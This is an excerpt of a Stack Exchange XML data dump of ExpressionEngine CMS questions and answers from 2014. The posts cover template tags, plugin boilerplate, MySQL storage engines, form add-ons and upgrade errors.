  <row Id="24123" PostTypeId="2" ParentId="24096" CreationDate="2014-07-01T21:26:54.823" Score="3" Body="&lt;p&gt;You probably need to check with your web host, as that error tells me that they made a change to MySQL server, and it's no longer configured to work with InnoDB. Or that you just moved from a host that supported InnoDB to one that does not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There aren't any huge gotchas with running different engines on different tables as long as you or your web host are familiar with them (can't generate backups with MySQL's MyISAM-only tools, for instance, no FULLTEXT search in InnoDB).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We often recommend InnoDB for users on hosts who are well-versed in configuring MySQL for InnoDB, with the exception of the &lt;code&gt;exp_cp_search&lt;/code&gt; table because it uses FULLTEXT search, which is not available to InnoDB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Changing the engines should not be a problem either way, though of course you will want to backup first - and fairly certain that the server you do it on will need to have both storage engines available.&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2014-07-01T21:26:54.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24124" PostTypeId="2" ParentId="23935" CreationDate="2014-07-02T00:59:57.860" Score="1" Body="&lt;p&gt;This is your solution. Since select_max will only result in one row you will not need to loop through all rows like a normal query. Just use $query-&gt;row();&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        ee()-&amp;gt;db-&amp;gt;select_max('entry_id');&#xA;        $query = ee()-&amp;gt;db-&amp;gt;get('exp_channel_titles');&#xA;&#xA;        echo $query-&amp;gt;row();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2886" LastActivityDate="2014-07-02T00:59:57.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24125" PostTypeId="2" ParentId="17049" CreationDate="2014-07-02T01:14:43.170" Score="0" Body="&lt;p&gt;I am making an assumption here but my guess is that the template code you have shown is for the template wiki. If that is the case you are returning them to a template that can't parse the channel form tags because you aren't passing the need to know information. I have added a conditional that is checking segment 2 for success that i added to your return=&quot;wiki/success&quot; and will display a success message. If i had some more info i believe i could solve this problem. such as template code for &quot;wiki&quot; or the page you are originally sending them, and what does the url say after you submit the code below.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;html&amp;gt;&#xA;        &amp;lt;head&amp;gt;&#xA;                &amp;lt;link href=&quot;{path=css/_ee_channel_form_css}&quot; type=&quot;text/css&quot; rel=&quot;stylesheet&quot; media=&quot;screen&quot;&amp;gt;&#xA;                {!-- &amp;lt;script src=&quot;//ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js&quot; &amp;gt;&amp;lt;/script&amp;gt; --}&#xA;        &amp;lt;/head&amp;gt;&#xA;        &amp;lt;body&amp;gt;&#xA;&#xA;            {if &quot;{segment_2}&quot; == &quot;success&quot;}&#xA;              &amp;lt;h1&amp;gt;Your Submission Was Successful&amp;lt;/h1&amp;gt;&#xA;            {if:else}&#xA;            {exp:channel:form channel=&quot;wiki&quot; return=&quot;wiki/success&quot; url_title=&quot;homeworking&quot; rte_selector=&quot;.wiki_body&quot; datepicker=&quot;no&quot; include_jquery=&quot;no&quot;}&#xA;&#xA;                    &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;&#xA;                    &amp;lt;p&amp;gt;{wiki_body}&amp;lt;/p&amp;gt;&#xA;&#xA;                    &amp;lt;input type=&quot;text&quot; name=&quot;title&quot; class=&quot;title&quot; value=&quot;{title}&quot;&amp;gt;&#xA;&#xA;                    &amp;lt;textarea type=&quot;text&quot; name=&quot;wiki_body&quot; class=&quot;wiki_body&quot;&amp;gt;&#xA;                    {wiki_body}&#xA;                    &amp;lt;/textarea&amp;gt;&#xA;&#xA;                    &amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Submit&quot;&amp;gt;&#xA;&#xA;            {/exp:channel:form}&#xA;            {/if}&#xA;        &amp;lt;/body&amp;gt;&#xA;        &amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2886" LastActivityDate="2014-07-02T01:14:43.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24126" PostTypeId="2" ParentId="13582" CreationDate="2014-07-02T01:52:27.360" Score="2" Body="&lt;p&gt;If your conditional is checking if it is &gt; 0 this would work fine as a replacement:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if foo:total_rows != &quot;&quot;}&#xA;     You have more than 1 row.&#xA;{if:else}&#xA;     You have 1 row.&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2886" LastEditorUserId="366" LastEditDate="2014-08-03T14:16:13.290" LastActivityDate="2014-08-03T14:16:13.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24127" PostTypeId="2" ParentId="14029" CreationDate="2014-07-02T02:15:24.010" Score="1" Body="&lt;p&gt;Guessing by the style of relationship tags you are using the best way to do this is to use an embed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Steps:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.) Create a template with the code for the destinations with an embed variable in the entry_id section.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;destinations&quot; entry_id=&quot;{embed:eid}&quot;}&#xA;     &amp;lt;h1&amp;gt;{title} Related to the Package Deal&amp;lt;/h1&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;2.) Put that embed inside your travel package related entries loop with the entry id of the package in a eid variable you pass to the embed variable.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;deals&quot;} &#xA;  {related_entries id=&quot;deal_01&quot;}&#xA;     Date: {date} Price: {price}&#xA;     {embed=&quot;path/to/embed/template&quot; eid=&quot;{entry_id}&quot;}&#xA;  {/related_entries}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2886" LastActivityDate="2014-07-02T02:15:24.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24128" PostTypeId="2" ParentId="9180" CreationDate="2014-07-02T02:22:08.890" Score="1" Body="&lt;p&gt;It is generally bad practice to have php in your template. It isn't recommended by Ellis Lab and is not a good idea to even allow php in your templates in template preferences.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this helps:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my plugin starter kit. I hope this helps this will give you a plugin set up in a way that is able to be expanded on to add more functions and such.... to use the public construct it would be {exp:pluginname} if you added a function it would be {exp:pluginname:function} You will want to save this as pi.pluginname.php in a pluginname folder in the third-party folder.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');&#xA;&#xA;/**&#xA; * Pluginname Class&#xA;&#xA; * @package         ExpressionEngine&#xA; * @category        Plugin&#xA; * @author          Matthew Johnson&#xA; * @copyright       Copyright (c) 2010, Jane Doe&#xA; * @link            http://midwesterninteractive.com/&#xA; */&#xA;&#xA;$plugin_info = array(&#xA;    'pi_name'         =&amp;gt; 'Pluginname',&#xA;    'pi_version'      =&amp;gt; '1.0',&#xA;    'pi_author'       =&amp;gt; 'Matthew Johnson',&#xA;    'pi_author_url'   =&amp;gt; 'http://MidwesternInteractive.com/',&#xA;    'pi_description'  =&amp;gt; 'Allows you to generate 1 of 13. ',&#xA;    'pi_usage'        =&amp;gt; PluginName::usage()&#xA;);&#xA;&#xA;class Pluginname&#xA;{&#xA;&#xA;    public $return_data = &quot;&quot;;&#xA;&#xA;    // --------------------------------------------------------------------&#xA;&#xA;    /**&#xA;     * Pluginname&#xA;     *&#xA;     * Plugin Description&#xA;     *&#xA;     * @access  public&#xA;     * @return  string&#xA;     */&#xA;    public function __construct()&#xA;    {&#xA;        $this-&amp;gt;EE =&amp;amp; get_instance();   &#xA;&#xA;    }&#xA;&#xA;    // --------------------------------------------------------------------&#xA;&#xA;    /**&#xA;     * Usage&#xA;     *&#xA;     * This function describes how the plugin is used.&#xA;     *&#xA;     * @access  public&#xA;     * @return  string&#xA;     */&#xA;    public static function usage()&#xA;    {&#xA;        ob_start();  ?&amp;gt;&#xA;&#xA;        @mattsidjohn&#xA;        @buildmidwestern&#xA;        http://midwesterninteractive.com&#xA;&#xA;&#xA;    &amp;lt;?php&#xA;        $buffer = ob_get_contents();&#xA;        ob_end_clean();&#xA;&#xA;        return $buffer;&#xA;    }&#xA;    // END&#xA;}&#xA;/* End of file pi.pluginname.php */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2886" LastActivityDate="2014-07-02T02:22:08.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24129" PostTypeId="2" ParentId="21823" CreationDate="2014-07-02T04:58:31.587" Score="1" Body="&lt;p&gt;Here is a work around you can do to get the same desired results:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query limit=&quot;1 sql=&quot;SELECT entry_id FROM `exp_category_posts` WHERE cat_id = '{last_segment_category_id}&quot;}&#xA;    {exp:channel:entries channel=&quot;channel_name&quot; category=&quot;{last_segment_category_id}&quot; dynamic=&quot;no&quot; disable=&quot;pagination|member_data&quot;}&#xA;       &amp;lt;h1&amp;gt;Title&amp;lt;/h1&amp;gt;&#xA;    {/exp:channel:entries}&#xA;    {if no_results}&#xA;       No Results....&#xA;    {/if}&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What i'm doing here is querying the database to check to see if any entry_ids exist connected to a given category. If so, it will parse the expression engine tags, if not it will display the exp:query no results content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="2886" LastActivityDate="2014-07-02T04:58:31.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24130" PostTypeId="2" ParentId="24112" CreationDate="2014-07-02T06:45:41.250" Score="1" Body="&lt;p&gt;Its not working because you aren't specifying a channel.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:next_entry channel=&quot;testimony&quot;}&#xA;   &amp;lt;img src=&quot;{testimony_story_background}&quot;/&amp;gt;&#xA;{/exp:channel:next_entry}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Couple things to keep in mind:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.)These links can only be used on pages displaying a single entry, such as a “comment” page, since they are designed to provide navigation from one entry to another.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2.) These tags cannot be placed inside your main Channel Entries Tag. They must be placed outside of the Channel Entries tag in order to work correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3.) If you are viewing the most recent entry in your channel, then the “next_entry” tag’s contents will not be shown (since there is no “next entry”). Likewise, when you are viewing the oldest/first entry in the channel the “previous_entry” content will not be shown.&lt;/p&gt;&#xA;" OwnerUserId="2886" LastActivityDate="2014-07-02T06:45:41.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24131" PostTypeId="1" AcceptedAnswerId="24136" CreationDate="2014-07-02T06:51:44.967" Score="0" ViewCount="64" Body="&lt;p&gt;So, been using EE for some time but now want to push the limits and write some extensions and or plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The extension needs to write the entry_id of the entry just published by any user OR the entry_id of the entry if posting a comment - to every members profile (or separate table).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a member visits the entry, it would remove the entry_id from their list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EG:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;--Install &quot;extension&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;----Extension creates new table - exp_member_read_unread (User ID, list of entry_ids)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;--User creates a new post or comments on entry&lt;/p&gt;&#xA;&#xA;&lt;p&gt;----On save, extension kicks in and records the entries entry_id to each members exp_members_read_unread column. (eg: entry_id column = 1,2,4,99,6)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Background&lt;/strong&gt;: I'll be creating a server side read/unread visited/not visited since new stuff added - list for each member.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second to this, I will need another plugin/extension to modify the users read/unread list once visited. That'll be another post I expect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can pound away at creating an SQL query but no solid idea on where to start or if an extension is the right approach. The docs are somehwat overwhelming to a N00b and cannot find simple starter examples - so looking to tap the brightest minds where possible :)&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2014-07-02T07:59:06.807" Title="Extensions - where to start" Tags="|module|extension|query|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24134" PostTypeId="2" ParentId="23906" CreationDate="2014-07-02T07:37:20.663" Score="0" Body="&lt;p&gt;Have you tried ajaxForm at it's most simple state?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $('#publishForm').ajaxForm(function() { &#xA;     alert(&quot;Thank you for your comment!&quot;); &#xA; }); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Try that and on your exp tag take json=&quot;yes&quot; off.&lt;/p&gt;&#xA;" OwnerUserId="2886" LastActivityDate="2014-07-02T07:37:20.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24135" PostTypeId="2" ParentId="19577" CreationDate="2014-07-02T07:47:38.010" Score="2" Body="&lt;p&gt;Just make sure your site url and all of your url paths in your admin &gt; general configuration are https:// and also go to your content &gt; file &gt; file upload preferences and make sure that the url path there is https://. Also if you are hard coding the urls in your html head when attaching assets like css and js make sure those are https:// as well.&lt;/p&gt;&#xA;" OwnerUserId="2886" LastActivityDate="2014-07-02T07:47:38.010" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24136" PostTypeId="2" ParentId="24131" CreationDate="2014-07-02T07:52:46.313" Score="0" Body="&lt;p&gt;Sorry i didn't read all the functionality you are wanting to create. To create all of the things you are wanting to do you will need to create a &quot;module&quot; there isn't a tone of great documentation out there on how to do that but here is a great read and information about the different types of EE extensions and small tutorials on doing so... I hope this helps and answers your questions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ee-recipes.com/articles/page/the_different_types_of_expressionengine_add_ons&quot; rel=&quot;nofollow&quot;&gt;http://ee-recipes.com/articles/page/the_different_types_of_expressionengine_add_ons&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the bottom you can click on each one giving you more info on each.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a link to a easy module tutorial from the same source:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ee-recipes.com/articles/details/our-first-module-part-1&quot; rel=&quot;nofollow&quot;&gt;http://ee-recipes.com/articles/details/our-first-module-part-1&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ee-recipes.com/articles/details/our-first-module-part-2-setting-up-the-file-structure&quot; rel=&quot;nofollow&quot;&gt;http://ee-recipes.com/articles/details/our-first-module-part-2-setting-up-the-file-structure&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ee-recipes.com/articles/details/our-first-module-part-3-creating-a-database-table&quot; rel=&quot;nofollow&quot;&gt;http://ee-recipes.com/articles/details/our-first-module-part-3-creating-a-database-table&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The rest of the series is on the right hand side.&lt;/p&gt;&#xA;" OwnerUserId="2886" LastEditorUserId="2886" LastEditDate="2014-07-02T07:59:06.807" LastActivityDate="2014-07-02T07:59:06.807" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24137" PostTypeId="1" CreationDate="2014-07-02T07:59:55.130" Score="0" ViewCount="80" Body="&lt;p&gt;Would there be any easy way (or any issues) with allowing a customer to enter a coupon code before putting any items in his cart?&lt;/p&gt;&#xA;" OwnerUserId="1038" LastActivityDate="2016-06-11T18:14:12.417" Title="Apply coupon code when cart is empty" Tags="|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24138" PostTypeId="2" ParentId="24137" CreationDate="2014-07-02T08:27:34.673" Score="0" Body="&lt;p&gt;The coupon code can be added at any time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All you need to do is create a coupon code form somewhere using the {cartthrob:add_coupon_form} tags. &lt;a href=&quot;http://cartthrob.com/docs/tags_detail/add_coupon_form/&quot; rel=&quot;nofollow&quot;&gt;http://cartthrob.com/docs/tags_detail/add_coupon_form/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Really it's just a matter of creating your site's flow so the customer reaches that form first. It might be that you put the form on the homepage or you could create a separate page for it then do some kind of redirection to that page if the cart is empty (using total_items tag within cart_items_info).&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-07-02T08:27:34.673" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24141" PostTypeId="2" ParentId="21618" CreationDate="2014-07-02T12:28:46.023" Score="1" Body="&lt;p&gt;No it's not a problem. The 404 is exactly what SHOULD be returned to Google. Over time Google will drop those URLs from its index.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a way the &quot;problem&quot; is fixed since it's doing precisely what you want it to do but Google may report future 404s especially if you have that URL in a Google Site map file.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-07-02T12:28:46.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24142" PostTypeId="1" AcceptedAnswerId="24146" CreationDate="2014-07-02T13:14:55.697" Score="1" ViewCount="89" Body="&lt;p&gt;I have a FieldPack Pill field called &lt;code&gt;companies_type&lt;/code&gt; with the following options:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;physical : Physical Store&#xA;webshop : Webshop&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To print the fields value I can just use &lt;code&gt;companies_type&lt;/code&gt; but how can I get the value's label? (Webshop or Physical Store in the this situation)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried with &lt;code&gt;companies_type:label&lt;/code&gt;, &lt;code&gt;companies_type:option&lt;/code&gt;, &lt;code&gt;companies_type:value&lt;/code&gt; and all those inside a tag pair as wel: &lt;code&gt;{companies_type}{label}{/companies_type}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know how/if this is possible?&lt;/p&gt;&#xA;" OwnerUserId="1192" LastActivityDate="2014-07-02T14:48:26.037" Title="Get label from PT Pill field" Tags="|pixelandtonic|tags|field-pack|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24143" PostTypeId="1" CreationDate="2014-07-02T13:21:39.660" Score="4" ViewCount="156" Body="&lt;p&gt;I've a client who has written an article with footnotes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Those footnotes are notated by them adding [i] [ii] and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For some reason though, WYGWAM seems to take that as a cue to open italics.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Won't be surprised to find this is one of CKEditor's advanced config settings but not sure what should be changed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone experienced similar?&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2014-08-27T11:41:26.967" Title="WYGWAM making [i] italicise content" Tags="|wygwam|tags|formatting|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24145" PostTypeId="1" CreationDate="2014-07-02T14:36:46.500" Score="0" ViewCount="217" Body="&lt;p&gt;My Code is below. Works fine when using the default template,but it doesn't send with my custom.  I was also able to send emails from the cp without a problem....any suggestions???&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Using EE 2.8, Freeform 4.1.8&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:form form_id=&quot;1&quot; form_name=&quot;contact&quot; required=&quot;full_name|email|user_message&quot; return=&quot;contact/index&quot; template=“contact_used&quot; admin_notify=&quot;Eric@nutmegit.com&quot; admin_notification_template=&quot;contact_used&quot; }&#xA;&amp;lt;div class=&quot;contact-form&quot;&amp;gt;&#xA;    &amp;lt;h3 class=&quot;widget-head-border colr&quot;&amp;gt;Quick Contact&amp;lt;/h3&amp;gt;&#xA;    &amp;lt;div class=&quot;cont-form-in&quot;&amp;gt;&#xA;        &amp;lt;ul class=&quot;form-short&quot;&amp;gt;&#xA;            &amp;lt;li class=&quot;txt&quot;&amp;gt;&#xA;                &amp;lt;h5&amp;gt;Your Name&amp;lt;/h5&amp;gt;&#xA;                &amp;lt;p&amp;gt;Required&amp;lt;/p&amp;gt;&#xA;            &amp;lt;/li&amp;gt;&#xA;            &amp;lt;li class=&quot;inputbar&quot;&amp;gt;&#xA;                &amp;lt;input type=&quot;text&quot; name=&quot;full_name&quot;/&amp;gt;&#xA;                &amp;lt;div class=&quot;inputicon&quot;&amp;gt;&amp;lt;img src=&quot;images/name-icon.png&quot; alt=&quot;&quot; /&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;/li&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;        &amp;lt;ul class=&quot;form-short&quot;&amp;gt;&#xA;            &amp;lt;li class=&quot;txt&quot;&amp;gt;&#xA;                &amp;lt;h5&amp;gt;Your Email&amp;lt;/h5&amp;gt;&#xA;                &amp;lt;p&amp;gt;Required&amp;lt;/p&amp;gt;&#xA;            &amp;lt;/li&amp;gt;&#xA;            &amp;lt;li class=&quot;inputbar&quot;&amp;gt;&#xA;                &amp;lt;input type=&quot;text&quot; name=&quot;email&quot;/&amp;gt;&#xA;                &amp;lt;div class=&quot;inputicon&quot;&amp;gt;&amp;lt;img src=&quot;images/mail-icon.png&quot; alt=&quot;&quot; /&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;/li&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;        &amp;lt;ul class=&quot;form-short&quot;&amp;gt;&#xA;            &amp;lt;li class=&quot;txt&quot;&amp;gt;&#xA;                &amp;lt;h5&amp;gt;Your Organization or Business&amp;lt;/h5&amp;gt;&#xA;            &amp;lt;/li&amp;gt;&#xA;            &amp;lt;li class=&quot;inputbar&quot;&amp;gt;&#xA;                &amp;lt;input type=&quot;text&quot; name=&quot;company_organization&quot;/&amp;gt;&#xA;                &amp;lt;div class=&quot;inputicon&quot;&amp;gt;&amp;lt;img src=&quot;images/address.png&quot; alt=&quot;&quot; /&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;/li&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;        &amp;lt;ul class=&quot;form-short&quot;&amp;gt;&#xA;            &amp;lt;li class=&quot;txt&quot;&amp;gt;&#xA;                &amp;lt;h5&amp;gt;Enter Message&amp;lt;/h5&amp;gt;&#xA;                &amp;lt;p&amp;gt;Required&amp;lt;/p&amp;gt;&#xA;            &amp;lt;/li&amp;gt;&#xA;            &amp;lt;li class=&quot;textarea&quot;&amp;gt;&#xA;                &amp;lt;textarea rows=&quot;&quot; cols=&quot;&quot; name=&quot;user_message&quot;&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;            &amp;lt;/li&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;        &amp;lt;ul class=&quot;form-short&quot;&amp;gt;&#xA;            &amp;lt;li&amp;gt;&#xA;                &amp;lt;button&amp;gt;Submit&amp;lt;/button&amp;gt;&#xA;            &amp;lt;/li&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;{/exp:freeform:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3310" LastEditorUserId="64" LastEditDate="2014-07-08T09:32:31.277" LastActivityDate="2014-07-08T09:32:31.277" Title="Freeform not sending notifications with custom template, default template works fine" Tags="|solspace-freeform|ee|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24146" PostTypeId="2" ParentId="24142" CreationDate="2014-07-02T14:48:26.037" Score="3" Body="&lt;p&gt;There is only one correct syntax style: &lt;code&gt;{companies_type:label}&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's not working you might have changed your options after saving an entry. So the stored value is not matching any options anymore and thus resulting an empty value for &lt;code&gt;{companies_type:label}&lt;/code&gt; and &lt;code&gt;{companies_type}&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="858" LastActivityDate="2014-07-02T14:48:26.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24147" PostTypeId="2" ParentId="20310" CreationDate="2014-07-02T15:27:50.073" Score="1" Body="&lt;p&gt;Ahmad, thank you for your response. I edited what I originally stated above to move it into an actual answer. The fields did need to be checked again to verify that they were truly searchable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, now that they are I have found that some fields will be included in the search results while the categories do not get included in the search. From my testing there is no way to search for a WB Category field in a Matrix field using EE or the Super Search plugin. The way the data is stored using WB Categories, the IDs are displayed in the matrix data instead of the actual category text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, the answer is that the EE or Super Search plugin will check any searchable Matrix field, but the data obviously wasn't what I was expecting so the search results were different as well.&lt;/p&gt;&#xA;" OwnerUserId="2849" LastActivityDate="2014-07-02T15:27:50.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24148" PostTypeId="1" CreationDate="2014-07-02T15:54:02.093" Score="3" ViewCount="42" Body="&lt;p&gt;I've just moved an &lt;strong&gt;EE v2.7.2&lt;/strong&gt; site to a new server, following the EE-docs thoroughly. Verified all paths and file/folder permissions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything works well until i try to edit or publish an entry, getting the error message below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get a WYSIWYG editor i'm using Expresso field types for my 'summary' and 'body' fields, and as soon I write or edit in one of these fields it is not possible to submit without the error. If I use only the other non-Expresso fields there is no error message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything was working perfectly on the previous server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hMjhl.png&quot; alt=&quot;Error message - access denied&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2506" LastEditorUserId="7185" LastEditDate="2017-02-15T15:16:28.613" LastActivityDate="2017-02-15T15:16:28.613" Title="Moved to new server - Expresso editor - denied file access?" Tags="|migration|server-migration|expresso-toolbar|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24149" PostTypeId="1" CreationDate="2014-07-02T15:55:21.587" Score="1" ViewCount="50" Body="&lt;p&gt;I have a site at &lt;a href=&quot;http://review.gemalto.com&quot; rel=&quot;nofollow&quot;&gt;review.gemalto.com&lt;/a&gt; and several articles have &quot;NFC&quot; in the title and body.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However searching for NFC returns zero results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other search terms such as &quot;Singapore&quot; and &quot;security&quot; work as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm at a loss as to why this is happening. Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="3311" LastActivityDate="2014-07-02T17:24:10.013" Title="Expression Engine not returning results for some items" Tags="|search|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24150" PostTypeId="1" CreationDate="2014-07-02T16:39:33.767" Score="0" ViewCount="143" Body="&lt;p&gt;I've updated from 2.7.2 to 2.8.1 for a new project by running the installer update. Once that finishes I get two different errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, if I try to access the site at domain.com I get&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;An Error Was Encountered&#xA;&#xA;Unable to initialize ExpressionEngine. The EE core does not appear to be defined in your autoload file. For more information please contact technical support.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Second, if I try to access the admin at domain.com/admin/index.php I get&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;url: http://domain.com/admin/?/cp/login%3freturn=&#xA;&#xA;Disallowed Key Characters.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can change the admin/index.php to admin/admin.php and login fine. However, the site still produces the core error. I've applied &lt;a href=&quot;https://support.ellislab.com/bugs/detail/20192/when-uri_protocol-is-path_info-cant-log-into-control-panel-disallowed-key-c&quot; rel=&quot;nofollow&quot;&gt;this fix&lt;/a&gt; to the core file and still no resolution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All third party add-ons produce an error when trying to access them as well. If I try to access Structure or Low Variables, or really any other add-on I get the error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal error: Call to undefined method Cp::set_variable() in *pathname/*&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1085" LastActivityDate="2014-07-02T16:39:33.767" Title="Update breaks site, htaccess rules, and third party add-ons" 